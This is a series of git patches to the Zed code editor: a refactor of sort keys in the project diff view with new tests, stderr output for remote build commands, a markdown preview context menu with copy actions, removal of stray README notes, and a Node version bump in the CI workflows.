-        let sort_prefix = project_diff_sort_prefix(repo, &entry.repo_path, entry.status, cx);
-        let path_key = PathKey::with_sort_prefix(sort_prefix, entry.repo_path.as_ref().clone());
+        let path_key = project_diff_path_key(repo, &entry.repo_path, entry.status, cx);
 
         self.move_to_path(path_key, window, cx)
     }
@@ -664,8 +663,7 @@ impl ProjectDiff {
             .status_for_path(&repo_path)
             .map(|entry| entry.status)
             .unwrap_or(FileStatus::Untracked);
-        let sort_prefix = project_diff_sort_prefix(&git_repo.read(cx), &repo_path, status, cx);
-        let path_key = PathKey::with_sort_prefix(sort_prefix, repo_path.as_ref().clone());
+        let path_key = project_diff_path_key(&git_repo.read(cx), &repo_path, status, cx);
         self.move_to_path(path_key, window, cx)
     }
 
@@ -821,7 +819,7 @@ impl ProjectDiff {
         conflict_set: Entity<ConflictSet>,
         window: &mut Window,
         cx: &mut Context<Self>,
-    ) -> (BufferId, bool) {
+    ) -> Option<BufferId> {
         let diff_subscription = cx.subscribe_in(&diff, window, {
             let path_key = path_key.clone();
             let buffer = buffer.clone();
@@ -954,7 +952,7 @@ impl ProjectDiff {
             self.move_to_path(path_key, window, cx);
         }
 
-        (buffer_id, needs_fold)
+        needs_fold.then_some(buffer_id)
     }
 
     fn buffer_ranges_changed(
@@ -995,41 +993,16 @@ impl ProjectDiff {
                 .buffers_with_paths()
                 .map(|(buffer_snapshot, path_key)| (path_key.clone(), buffer_snapshot.remote_id()))
                 .collect::<HashMap<_, _>>();
-            let previous_folded_paths = {
-                let snapshot = this.multibuffer.read(cx).snapshot(cx);
-                let rhs_editor = this.editor.read(cx).rhs_editor().clone();
-                snapshot
-                    .buffers_with_paths()
-                    .map(|(buffer_snapshot, path_key)| {
-                        (
-                            path_key.path.clone(),
-                            rhs_editor
-                                .read(cx)
-                                .is_buffer_folded(buffer_snapshot.remote_id(), cx),
-                        )
-                    })
-                    .collect::<HashMap<_, _>>()
-            };
 
             let mut entries = BTreeMap::new();
             if let Some(repo) = repo {
                 let repo = repo.read(cx);
-                let sort_prefixes = project_diff_sort_prefixes(
-                    &repo,
-                    buffers_to_load
-                        .iter()
-                        .map(|diff_buffer| (&diff_buffer.repo_path, diff_buffer.file_status)),
-                    cx,
-                );
-
                 for diff_buffer in buffers_to_load {
-                    let sort_prefix = sort_prefixes
-                        .get(&diff_buffer.repo_path)
-                        .copied()
-                        .unwrap_or(u64::MAX);
-                    let path_key = PathKey::with_sort_prefix(
-                        sort_prefix,
-                        diff_buffer.repo_path.as_ref().clone(),
+                    let path_key = project_diff_path_key(
+                        &repo,
+                        &diff_buffer.repo_path,
+                        diff_buffer.file_status,
+                        cx,
                     );
                     previous_paths.remove(&path_key);
                     entries.insert(path_key, diff_buffer);
@@ -1048,12 +1021,10 @@ impl ProjectDiff {
                 }
             });
 
-            (entries, previous_folded_paths)
+            entries
         })?;
 
-        let (entries, previous_folded_paths) = entries;
         let mut buffers_to_fold = Vec::new();
-        let mut buffers_to_unfold = Vec::new();
 
         for (path_key, entry) in entries {
             if let Some((buffer, diff, conflict_set)) = entry.load.await.log_err() {
@@ -1062,8 +1033,7 @@ impl ProjectDiff {
                 yield_now().await;
                 cx.update(|window, cx| {
                     this.update(cx, |this, cx| {
-                        let path = path_key.path.clone();
-                        let (buffer_id, needs_fold) = this.register_buffer(
+                        if let Some(buffer_id) = this.register_buffer(
                             path_key,
                             entry.file_status,
                             buffer,
@@ -1071,14 +1041,7 @@ impl ProjectDiff {
                             conflict_set,
                             window,
                             cx,
-                        );
-                        if let Some(was_folded) = previous_folded_paths.get(&path) {
-                            if *was_folded {
-                                buffers_to_fold.push(buffer_id);
-                            } else {
-                                buffers_to_unfold.push(buffer_id);
-                            }
-                        } else if needs_fold {
+                        ) {
                             buffers_to_fold.push(buffer_id);
                         }
                     })
@@ -1094,15 +1057,6 @@ impl ProjectDiff {
                         .update(cx, |editor, cx| editor.fold_buffers(buffers_to_fold, cx));
                 });
             }
-            if !buffers_to_unfold.is_empty() {
-                this.editor.update(cx, |editor, cx| {
-                    editor.rhs_editor().update(cx, |editor, cx| {
-                        for buffer_id in buffers_to_unfold {
-                            editor.unfold_buffer(buffer_id, cx);
-                        }
-                    });
-                });
-            }
             this.pending_scroll.take();
             cx.notify();
         })?;
@@ -1131,128 +1085,126 @@ impl ProjectDiff {
             })
             .collect()
     }
-}
 
-fn project_diff_sort_prefix(
-    repo: &Repository,
-    repo_path: &RepoPath,
-    status: FileStatus,
-    cx: &App,
-) -> u64 {
-    let mut entries = repo
-        .cached_status()
-        .map(|entry| (entry.repo_path.clone(), entry.status))
-        .collect::<Vec<_>>();
-    if !entries
-        .iter()
-        .any(|(entry_path, _status)| entry_path == repo_path)
-    {
-        entries.push((repo_path.clone(), status));
+    /// Returns the real (worktree-relative) path of each excerpted buffer, in
+    /// the order the excerpts appear in the multibuffer. Unlike
+    /// [`Self::excerpt_paths`], this resolves the buffer's actual `File` rather
+    /// than the (possibly synthetic) `PathKey` path used for sorting.
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn excerpt_file_paths(&self, cx: &App) -> Vec<String> {
+        let multibuffer = self
+            .editor()
+            .read(cx)
+            .rhs_editor()
+            .read(cx)
+            .buffer()
+            .clone();
+        let snapshot = multibuffer.read(cx).snapshot(cx);
+        let mut result = Vec::new();
+        let mut last_buffer_id = None;
+        for excerpt in snapshot.excerpts() {
+            let buffer_id = excerpt.context.start.buffer_id;
+            if last_buffer_id == Some(buffer_id) {
+                continue;
+            }
+            last_buffer_id = Some(buffer_id);
+            if let Some(buffer) = multibuffer.read(cx).buffer(buffer_id)
+                && let Some(file) = buffer.read(cx).file()
+            {
+                result.push(file.path().as_unix_str().to_string());
+            }
+        }
+        result
     }
-
-    project_diff_sort_prefixes(
-        repo,
-        entries.iter().map(|(path, status)| (path, *status)),
-        cx,
-    )
-    .get(repo_path)
-    .copied()
-    .unwrap_or(u64::MAX)
 }
 
-fn project_diff_sort_prefixes<'a>(
+const CONFLICT_SORT_PREFIX: u64 = 1;
+const TRACKED_SORT_PREFIX: u64 = 2;
+const NEW_SORT_PREFIX: u64 = 3;
+
+/// Computes a stable [`PathKey`] for a buffer in the project diff.
+///
+/// The key is an intrinsic function of the file's own repo path and status; it
+/// never depends on which other buffers happen to be present in the
+/// multibuffer. This is required because the multibuffer uses the path key both
+/// to order excerpts and to identify which excerpts belong to a given buffer, so
+/// a key that shifted as files were added or removed would break that identity.
+///
+/// Status grouping is encoded in the `sort_prefix`, and the within-group order
+/// is encoded in the (possibly synthetic) path so that `PathKey`'s natural
+/// ordering reproduces the git panel's order. The path here is only ever used
+/// for sorting and multibuffer identity; the path shown in the UI comes from the
+/// buffer's own `File`.
+fn project_diff_path_key(
     repo: &Repository,
-    entries: impl IntoIterator<Item = (&'a RepoPath, FileStatus)>,
+    repo_path: &RepoPath,
+    status: FileStatus,
     cx: &App,
-) -> HashMap<RepoPath, u64> {
+) -> PathKey {
     let settings = GitPanelSettings::get_global(cx);
-    let group_by_status = settings.group_by == GitPanelGroupBy::Status;
-
-    let mut conflict_entries = Vec::new();
-    let mut tracked_entries = Vec::new();
-    let mut new_entries = Vec::new();
-
-    for (repo_path, status) in entries {
-        let entry = (repo_path.clone(), status);
-        if group_by_status && repo.had_conflict_on_last_merge_head_change(repo_path) {
-            conflict_entries.push(entry);
-        } else if group_by_status && status.is_created() {
-            new_entries.push(entry);
-        } else {
-            tracked_entries.push(entry);
-        }
-    }
-
-    let mut ordered_paths = Vec::new();
-    for mut section_entries in [conflict_entries, tracked_entries, new_entries] {
-        if settings.tree_view {
-            append_tree_order(&mut ordered_paths, section_entries);
-        } else {
-            sort_flat_entries(&mut section_entries, settings.sort_by);
-            ordered_paths.extend(
-                section_entries
-                    .into_iter()
-                    .map(|(repo_path, _status)| repo_path),
-            );
-        }
-    }
-
-    ordered_paths
-        .into_iter()
-        .enumerate()
-        .map(|(index, repo_path)| (repo_path, index as u64 + 1))
-        .collect()
-}
-
-fn sort_flat_entries(entries: &mut [(RepoPath, FileStatus)], sort_by: GitPanelSortBy) {
-    match sort_by {
-        GitPanelSortBy::Path => entries.sort_by(|(a_path, _), (b_path, _)| a_path.cmp(b_path)),
-        GitPanelSortBy::Name => entries.sort_by(|(a_path, _), (b_path, _)| {
-            a_path
-                .file_name()
-                .cmp(&b_path.file_name())
-                .then_with(|| a_path.cmp(b_path))
-        }),
-    }
+    let sort_prefix = if settings.group_by != GitPanelGroupBy::Status {
+        TRACKED_SORT_PREFIX
+    } else if repo.had_conflict_on_last_merge_head_change(repo_path) {
+        CONFLICT_SORT_PREFIX
+    } else if status.is_created() {
+        NEW_SORT_PREFIX
+    } else {
+        TRACKED_SORT_PREFIX
+    };
+    let path = project_diff_sort_path(repo_path, settings.tree_view, settings.sort_by);
+    PathKey::with_sort_prefix(sort_prefix, path)
 }
 
-fn append_tree_order(ordered_paths: &mut Vec<RepoPath>, mut entries: Vec<(RepoPath, FileStatus)>) {
-    entries.sort_by(|(a_path, _), (b_path, _)| a_path.cmp(b_path));
-
-    let mut root = ProjectDiffTreeNode::default();
-    for (repo_path, _status) in entries {
-        let components: Vec<&str> = repo_path.components().collect();
-        if components.is_empty() {
-            root.files.push(repo_path);
-            continue;
-        }
-
-        let mut current = &mut root;
-        for (index, component) in components.iter().enumerate() {
-            if index == components.len() - 1 {
-                current.files.push(repo_path.clone());
-            } else {
-                current = current.children.entry((*component).into()).or_default();
-            }
+fn project_diff_sort_path(
+    repo_path: &RelPath,
+    tree_view: bool,
+    sort_by: GitPanelSortBy,
+) -> Arc<RelPath> {
+    if tree_view {
+        tree_sort_path(repo_path)
+    } else {
+        match sort_by {
+            GitPanelSortBy::Path => repo_path.into_arc(),
+            GitPanelSortBy::Name => name_sort_path(repo_path),
         }
     }
-
-    root.append_ordered_paths(ordered_paths);
 }
 
-#[derive(Default)]
-struct ProjectDiffTreeNode {
-    children: BTreeMap<String, ProjectDiffTreeNode>,
-    files: Vec<RepoPath>,
+/// Builds a synthetic path that sorts by file name first, falling back to the
+/// full path to keep the key unique per file.
+fn name_sort_path(repo_path: &RelPath) -> Arc<RelPath> {
+    let Some(file_name) = repo_path.file_name() else {
+        return repo_path.into_arc();
+    };
+    let synthetic = format!("{}/{}", file_name, repo_path.as_unix_str());
+    RelPath::unix(&synthetic)
+        .map(|path| path.into_arc())
+        .unwrap_or_else(|_| repo_path.into_arc())
 }
 
-impl ProjectDiffTreeNode {
-    fn append_ordered_paths(self, ordered_paths: &mut Vec<RepoPath>) {
-        for child in self.children.into_values() {
-            child.append_ordered_paths(ordered_paths);
+/// Builds a synthetic path whose natural component-wise ordering reproduces a
+/// folder-first tree order. Each directory component is prefixed with a NUL
+/// byte, which can never appear in a real path component and sorts before every
+/// printable character, so at each level directories sort before files.
+fn tree_sort_path(repo_path: &RelPath) -> Arc<RelPath> {
+    let components: Vec<&str> = repo_path.components().collect();
+    if components.len() <= 1 {
+        return repo_path.into_arc();
+    }
+    let last = components.len() - 1;
+    let mut synthetic = String::new();
+    for (index, component) in components.into_iter().enumerate() {
+        if index > 0 {
+            synthetic.push('/');
         }
-        ordered_paths.extend(self.files);
+        if index < last {
+            synthetic.push('\0');
+        }
+        synthetic.push_str(component);
     }
+    RelPath::unix(&synthetic)
+        .map(|path| path.into_arc())
+        .unwrap_or_else(|_| repo_path.into_arc())
 }
 
 impl EventEmitter<EditorEvent> for ProjectDiff {}
@@ -2153,7 +2105,7 @@ mod tests {
     use gpui::TestAppContext;
     use project::FakeFs;
     use serde_json::json;
-    use settings::{DiffViewStyle, SettingsStore};
+    use settings::{DiffViewStyle, GitPanelGroupBy, GitPanelSortBy, SettingsStore};
     use std::path::Path;
     use unindent::Unindent as _;
     use util::{
@@ -2296,7 +2248,7 @@ mod tests {
 
         let editor = cx.update_window_entity(&diff, |diff, window, cx| {
             diff.move_to_path(
-                PathKey::with_sort_prefix(1, rel_path("bar").into_arc()),
+                PathKey::with_sort_prefix(2, rel_path("bar").into_arc()),
                 window,
                 cx,
             );
@@ -2823,15 +2775,7 @@ mod tests {
             &editor,
             cx,
             &"
-                  ˇone
-                  two
-                  three
-                  four
-                  five
-                  six
-                  seven
-                  eight
-                  nine
+                  ˇnine
                   ten
                 - eleven
                 + ELEVEN
@@ -2878,16 +2822,13 @@ mod tests {
             &editor,
             cx,
             &"
-                  ˇone
+                  one
                 - two
                 + TWO
                   three
                   four
                   five
-                  six
-                  seven
-                  eight
-                  nine
+                  ˇnine
                   ten
                 - eleven
                 + ELEVEN
@@ -2897,6 +2838,111 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_sort_by_name_tie_breaks_on_path(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        cx.update(|cx| {
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    let git_panel = settings.git_panel.get_or_insert_default();
+                    git_panel.sort_by = Some(GitPanelSortBy::Name);
+                    git_panel.group_by = Some(GitPanelGroupBy::None);
+                });
+            });
+        });
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "lib": { "foo.rs": "LIB FOO\n" },
+                "src": { "foo.rs": "SRC FOO\n" },
+                "m.rs": "M\n",
+            }),
+        )
+        .await;
+        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        let diff = cx.new_window_entity(|window, cx| {
+            ProjectDiff::new(project.clone(), workspace, window, cx)
+        });
+        cx.run_until_parked();
+
+        fs.set_head_and_index_for_repo(
+            path!("/project/.git").as_ref(),
+            &[
+                ("lib/foo.rs", "lib foo\n".into()),
+                ("src/foo.rs", "src foo\n".into()),
+                ("m.rs", "m\n".into()),
+            ],
+        );
+        cx.run_until_parked();
+
+        // Sorted by file name, the two `foo.rs` files come before `m.rs`, and the
+        // tie between them is broken by the full path (`lib/` before `src/`).
+        // A plain path sort would instead order them `lib/foo.rs`, `m.rs`,
+        // `src/foo.rs`.
+        let paths = diff.read_with(cx, |diff, cx| diff.excerpt_file_paths(cx));
+        assert_eq!(paths, vec!["lib/foo.rs", "src/foo.rs", "m.rs"]);
+    }
+
+    #[gpui::test]
+    async fn test_tree_view_orders_directories_before_files(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        cx.update(|cx| {
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    let git_panel = settings.git_panel.get_or_insert_default();
+                    git_panel.tree_view = Some(true);
+                    git_panel.group_by = Some(GitPanelGroupBy::None);
+                });
+            });
+        });
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "src": {
+                    "a.rs": "A\n",
+                    "m.rs": "M\n",
+                    "sub": { "b.rs": "B\n" },
+                },
+            }),
+        )
+        .await;
+        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        let diff = cx.new_window_entity(|window, cx| {
+            ProjectDiff::new(project.clone(), workspace, window, cx)
+        });
+        cx.run_until_parked();
+
+        fs.set_head_and_index_for_repo(
+            path!("/project/.git").as_ref(),
+            &[
+                ("src/a.rs", "a\n".into()),
+                ("src/m.rs", "m\n".into()),
+                ("src/sub/b.rs", "b\n".into()),
+            ],
+        );
+        cx.run_until_parked();
+
+        // In tree view the `src/sub/` directory sorts before the files directly
+        // in `src/`. A plain path sort would interleave them as `src/a.rs`,
+        // `src/m.rs`, `src/sub/b.rs`.
+        let paths = diff.read_with(cx, |diff, cx| diff.excerpt_file_paths(cx));
+        assert_eq!(paths, vec!["src/sub/b.rs", "src/a.rs", "src/m.rs"]);
+    }
+
     #[gpui::test]
     async fn test_branch_diff(cx: &mut TestAppContext) {
         init_test(cx);

From 632dcae287b799975b1518b2c4914509e90a5c90 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Sat, 27 Jun 2026 12:21:37 +0300
Subject: [PATCH 127/772] Restore remote binary dev build output (#59997)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Follow-up of https://github.com/zed-industries/zed/pull/46695

cargo outputs to stderr, so if we do not inherit it, we do not see it,
yet this can be useful to understand what broke and see the progress.
I am not sure if there was a reason to remove it, hence creating the PR
to discuss — want to add at least a comment there for the future if we
decide to keep things as is.

Before:

<img width="1731" height="1022" alt="before"
src="https://github.com/user-attachments/assets/92bb0969-e495-41b0-8cac-1f85a83440a0"
/>

After:
<img width="1728" height="1086" alt="after"
src="https://github.com/user-attachments/assets/c733fb8b-adbe-44dc-84a5-48e2c9e63a38"
/>

Release Notes:

- N/A
---
 crates/remote/src/transport.rs | 1 +
 1 file changed, 1 insertion(+)

diff --git a/crates/remote/src/transport.rs b/crates/remote/src/transport.rs
index 275b36905d3a60..43007c047372e6 100644
--- a/crates/remote/src/transport.rs
+++ b/crates/remote/src/transport.rs
@@ -279,6 +279,7 @@ async fn build_remote_server_from_source(
         let output = command
             .kill_on_drop(true)
             .stdout(Stdio::inherit())
+            .stderr(Stdio::inherit())
             .output()
             .await?;
         anyhow::ensure!(

From a8ffae4c0047e58a6e6820ce13cb8ac3f097ec8b Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Sat, 27 Jun 2026 13:09:13 +0300
Subject: [PATCH 128/772] Improve context menu experience in the markdown
 preview (#59993)

* removes useless "no items" pop-up and does not show any menu at all if
no actions are applicable.
This required adding `pub fn maybe_menu` into the

* adds actions to copy rendered text and markdown text: in fact,
`cmd/ctrl-c` work already but we did not expose it

Before:


https://github.com/user-attachments/assets/906f2bfd-bf19-48de-bbb5-85bb33431f60

After:


https://github.com/user-attachments/assets/2c039c4d-2d42-4689-9ac1-12e3b10119cf

Release Notes:

- Improved context menu experience in the markdown preview
---
 crates/markdown/src/markdown.rs               | 76 +++++++++++++++----
 .../src/markdown_preview_view.rs              | 46 +++++++++--
 crates/ui/src/components/right_click_menu.rs  | 14 +++-
 3 files changed, 114 insertions(+), 22 deletions(-)

diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 8792aaca7b6f18..89266065a1c040 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -399,7 +399,8 @@ pub struct Markdown {
     wrapped_code_blocks: HashSet<usize>,
     code_block_scroll_handles: BTreeMap<usize, ScrollHandle>,
     context_menu_link: Option<SharedString>,
-    context_menu_selected_text: Option<String>,
+    context_menu_selected_text: Option<SharedString>,
+    context_menu_selected_markdown: Option<SharedString>,
     search_highlights: Vec<Range<usize>>,
     active_search_highlight: Option<usize>,
 }
@@ -592,6 +593,7 @@ impl Markdown {
             code_block_scroll_handles: BTreeMap::default(),
             context_menu_link: None,
             context_menu_selected_text: None,
+            context_menu_selected_markdown: None,
             search_highlights: Vec::new(),
             active_search_highlight: None,
         };
@@ -864,8 +866,8 @@ impl Markdown {
     }
 
     fn copy_as_markdown(&mut self, _: &mut Window, cx: &mut Context<Self>) {
-        if let Some(text) = self.context_menu_selected_text.take() {
-            cx.write_to_clipboard(ClipboardItem::new_string(text));
+        if let Some(text) = self.context_menu_selected_markdown.take() {
+            cx.write_to_clipboard(ClipboardItem::new_string(text.to_string()));
             return;
         }
         if self.selection.end <= self.selection.start {
@@ -875,8 +877,23 @@ impl Markdown {
         cx.write_to_clipboard(ClipboardItem::new_string(text));
     }
 
-    fn capture_for_context_menu(&mut self, link: Option<SharedString>) {
-        self.context_menu_selected_text = self.selected_text();
+    fn capture_for_context_menu(
+        &mut self,
+        link: Option<SharedString>,
+        rendered_text: Option<&RenderedText>,
+    ) {
+        let range = self.selection.start..self.selection.end;
+        if range.end > range.start {
+            self.context_menu_selected_markdown =
+                Some(SharedString::new(&self.source[range.clone()]));
+            self.context_menu_selected_text = rendered_text
+                .map(|text| text.text_for_range(range))
+                .map(SharedString::new)
+                .or_else(|| self.context_menu_selected_markdown.clone());
+        } else {
+            self.context_menu_selected_markdown = None;
+            self.context_menu_selected_text = None;
+        }
         self.context_menu_link = link;
     }
 
@@ -887,6 +904,18 @@ impl Markdown {
         self.context_menu_link.as_ref()
     }
 
+    /// Returns the rendered (plain) text that was selected when the most recent
+    /// context menu invocation happened.
+    pub fn context_menu_selected_text(&self) -> Option<&SharedString> {
+        self.context_menu_selected_text.as_ref()
+    }
+
+    /// Returns the raw markdown source that was selected when the most recent
+    /// context menu invocation happened.
+    pub fn context_menu_selected_markdown(&self) -> Option<&SharedString> {
+        self.context_menu_selected_markdown.as_ref()
+    }
+
     fn parse(&mut self, cx: &mut Context<Self>) {
         if self.source.is_empty() {
             self.should_reparse = false;
@@ -1730,7 +1759,7 @@ impl MarkdownElement {
                         .ok()
                         .and_then(|ix| rendered_text.link_for_source_index(ix))
                         .map(|link| link.destination_url.clone());
-                    markdown.capture_for_context_menu(link);
+                    markdown.capture_for_context_menu(link, Some(&rendered_text));
                 }
             }
         });
@@ -5194,30 +5223,47 @@ mod tests {
     fn test_capture_for_context_menu(cx: &mut TestAppContext) {
         ensure_theme_initialized(cx);
         let (_, cx) = cx.add_window_view(|_, _| TestWindow);
-        let markdown = cx.new(|cx| Markdown::new("text".into(), None, None, cx));
+        let markdown = cx.new(|cx| Markdown::new("some text".into(), None, None, cx));
         cx.run_until_parked();
 
-        // Simulates right-clicking on a link
+        // Simulates right-clicking on a link, with "text" selected
         let url: SharedString = "https://example.com".into();
         markdown.update(cx, |md, _cx| {
-            md.capture_for_context_menu(Some(url.clone()));
+            md.selection.start = 5;
+            md.selection.end = 9;
+            md.capture_for_context_menu(Some(url.clone()), None);
         });
         cx.update(|_window, cx| {
+            let markdown = markdown.read(cx);
+            assert_eq!(
+                markdown.context_menu_link().map(SharedString::as_ref),
+                Some("https://example.com")
+            );
             assert_eq!(
                 markdown
-                    .read(cx)
-                    .context_menu_link()
+                    .context_menu_selected_markdown()
                     .map(SharedString::as_ref),
-                Some("https://example.com")
+                Some("text")
+            );
+            assert_eq!(
+                markdown
+                    .context_menu_selected_text()
+                    .map(SharedString::as_ref),
+                Some("text")
             );
         });
 
-        // Simulates right-clicking on plain text — link is cleared
+        // Simulates right-clicking on plain text with no selection — everything is cleared
         markdown.update(cx, |md, _cx| {
-            md.capture_for_context_menu(None);
+            md.selection.start = 0;
+            md.selection.end = 0;
+            md.capture_for_context_menu(None, None);
         });
         cx.update(|_window, cx| {
-            assert!(markdown.read(cx).context_menu_link().is_none());
+            let markdown = markdown.read(cx);
+            assert!(markdown.context_menu_link().is_none());
+            assert!(markdown.context_menu_selected_markdown().is_none());
+            assert!(markdown.context_menu_selected_text().is_none());
         });
     }
 
diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index 1d69d829e70fec..db6c1a80786db7 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -1260,12 +1260,48 @@ impl Render for MarkdownPreviewView {
                             let max_width = MarkdownPreviewSettings::get_global(cx).max_width;
                             let content = right_click_menu("markdown-preview-context-menu")
                                 .trigger(move |_, _, _| markdown_element)
-                                .menu(move |window, cx| {
+                                .maybe_menu(move |window, cx| {
                                     let focus = window.focused(cx);
-                                    let context_menu_link =
-                                        markdown.read(cx).context_menu_link().cloned();
-                                    ContextMenu::build(window, cx, move |menu, _, _cx| {
+                                    let markdown = markdown.read(cx);
+                                    let context_menu_link = markdown.context_menu_link().cloned();
+                                    let selected_text =
+                                        markdown.context_menu_selected_text().cloned();
+                                    let selected_markdown =
+                                        markdown.context_menu_selected_markdown().cloned();
+                                    if context_menu_link.is_none()
+                                        && selected_text.is_none()
+                                        && selected_markdown.is_none()
+                                    {
+                                        return None;
+                                    }
+                                    Some(ContextMenu::build(window, cx, move |menu, _, _cx| {
                                         menu.when_some(focus, |menu, focus| menu.context(focus))
+                                            .when_some(selected_text, |menu, text| {
+                                                menu.entry(
+                                                    "Copy",
+                                                    Some(Box::new(markdown::Copy)),
+                                                    move |_, cx| {
+                                                        cx.write_to_clipboard(
+                                                            ClipboardItem::new_string(
+                                                                text.to_string(),
+                                                            ),
+                                                        );
+                                                    },
+                                                )
+                                            })
+                                            .when_some(selected_markdown, |menu, text| {
+                                                menu.entry(
+                                                    "Copy as Markdown",
+                                                    Some(Box::new(markdown::CopyAsMarkdown)),
+                                                    move |_, cx| {
+                                                        cx.write_to_clipboard(
+                                                            ClipboardItem::new_string(
+                                                                text.to_string(),
+                                                            ),
+                                                        );
+                                                    },
+                                                )
+                                            })
                                             .when_some(context_menu_link, |menu, url| {
                                                 menu.entry("Copy Link", None, move |_, cx| {
                                                     cx.write_to_clipboard(
@@ -1273,7 +1309,7 @@ impl Render for MarkdownPreviewView {
                                                     );
                                                 })
                                             })
-                                    })
+                                    }))
                                 });
                             div()
                                 .w_full()
diff --git a/crates/ui/src/components/right_click_menu.rs b/crates/ui/src/components/right_click_menu.rs
index a6b9515cacad30..9cc792326b1e74 100644
--- a/crates/ui/src/components/right_click_menu.rs
+++ b/crates/ui/src/components/right_click_menu.rs
@@ -10,13 +10,21 @@ use gpui::{
 pub struct RightClickMenu<M: ManagedView> {
     id: ElementId,
     child_builder: Option<Box<dyn FnOnce(bool, &mut Window, &mut App) -> AnyElement + 'static>>,
-    menu_builder: Option<Rc<dyn Fn(&mut Window, &mut App) -> Entity<M> + 'static>>,
+    menu_builder: Option<Rc<dyn Fn(&mut Window, &mut App) -> Option<Entity<M>> + 'static>>,
     anchor: Option<Anchor>,
     attach: Option<Anchor>,
 }
 
 impl<M: ManagedView> RightClickMenu<M> {
     pub fn menu(mut self, f: impl Fn(&mut Window, &mut App) -> Entity<M> + 'static) -> Self {
+        self.menu_builder = Some(Rc::new(move |window, cx| Some(f(window, cx))));
+        self
+    }
+
+    pub fn maybe_menu(
+        mut self,
+        f: impl Fn(&mut Window, &mut App) -> Option<Entity<M>> + 'static,
+    ) -> Self {
         self.menu_builder = Some(Rc::new(f));
         self
     }
@@ -243,7 +251,9 @@ impl<M: ManagedView> Element for RightClickMenu<M> {
                         cx.stop_propagation();
                         window.prevent_default();
 
-                        let new_menu = (builder)(window, cx);
+                        let Some(new_menu) = (builder)(window, cx) else {
+                            return;
+                        };
                         let menu2 = menu.clone();
                         let previous_focus_handle = window.focused(cx);
 

From 3c312b596e24ba731e18005b09b9472eadc14df7 Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Sat, 27 Jun 2026 16:06:29 +0100
Subject: [PATCH 129/772] docs: Remove readme junk (#60008)

Left some junk in the readme during a pairing session and forgot to
remove oopsies

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 README.md | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/README.md b/README.md
index 36f8f1d2986ff5..84f536569a32ce 100644
--- a/README.md
+++ b/README.md
@@ -47,11 +47,3 @@ If you’d like to financially support the project, you can do so via GitHub Spo
 Sponsorships go directly to Zed Industries and are used as general company revenue.
 There are no perks or entitlements associated with sponsorship.
 
-
-
-- me: do a nixos integration test (using KVM)
-- agent: i need to turn off the sandbox
-- me: "allow for this thread"
-- agent: runs the tests unsandboxed
-- me: use the terminal to ls this directory
-- agent: runs `ls` *sandboxed*
\ No newline at end of file

From 968379f5a1f6e2c01cdbc01cfe4593f8c9c7eea0 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Sat, 27 Jun 2026 18:37:15 +0200
Subject: [PATCH 130/772] ci: Bump `setup-node` and use Node v24 (#59947)

This applies a similar set of changes to this repo that we also recently
applied to other repos that we have.

Release Notes:

- N/A
---
 .github/workflows/danger.yml               |  5 +++--
 .github/workflows/release.yml              | 25 +++++++++++++---------
 .github/workflows/release_nightly.yml      | 15 +++++++------
 .github/workflows/run_bundling.yml         | 10 +++++----
 .github/workflows/run_tests.yml            | 15 +++++++------
 tooling/xtask/src/tasks/workflows/steps.rs |  5 +++--
 6 files changed, 45 insertions(+), 30 deletions(-)

diff --git a/.github/workflows/danger.yml b/.github/workflows/danger.yml
index 4cb0df5735a5c8..4e94c613a6b3dc 100644
--- a/.github/workflows/danger.yml
+++ b/.github/workflows/danger.yml
@@ -25,9 +25,10 @@ jobs:
       with:
         version: '9'
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
         cache: pnpm
         cache-dependency-path: script/danger/pnpm-lock.yaml
     - name: danger::danger_job::install_deps
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index ea968386a117b8..8115259c0b78b1 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -27,9 +27,10 @@ jobs:
         cache: rust
         path: ~/.rustup
     - name: steps::setup_node
-      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020
+      uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e
       with:
-        node-version: '20'
+        node-version: '24'
+        check-latest: true
     - name: steps::cargo_install_nextest
       uses: taiki-e/install-action@921e2c9f7148d7ba14cd819f417db338f63e733c
     - name: steps::clear_target_dir_if_large
@@ -75,9 +76,10 @@ jobs:
